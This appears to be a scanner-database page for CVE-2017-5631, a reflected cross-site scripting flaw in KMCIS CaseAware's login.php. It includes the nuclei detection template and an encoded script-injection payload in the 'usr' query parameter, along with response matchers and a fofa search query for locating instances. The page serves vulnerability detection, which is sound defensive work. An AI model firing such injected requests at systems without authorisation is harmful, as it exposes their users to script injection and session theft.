KMCIS CaseAware - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

To remediate this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "'></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-5631 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-5631

info:
  name: KMCIS CaseAware - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    To remediate this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.
  reference:
    - https://www.openbugbounty.org/incidents/228262/
    - https://www.exploit-db.com/exploits/42042/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5631
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-5631
    cwe-id: CWE-79
    epss-score: 0.04487
    epss-percentile: 0.91556
    cpe: cpe:2.3:a:kmc_information_systems:caseaware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kmc_information_systems
    product: caseaware
    fofa-query: title="caseaware"
  tags: cve2017,cve,edb,xss,caseaware,kmc_information_systems,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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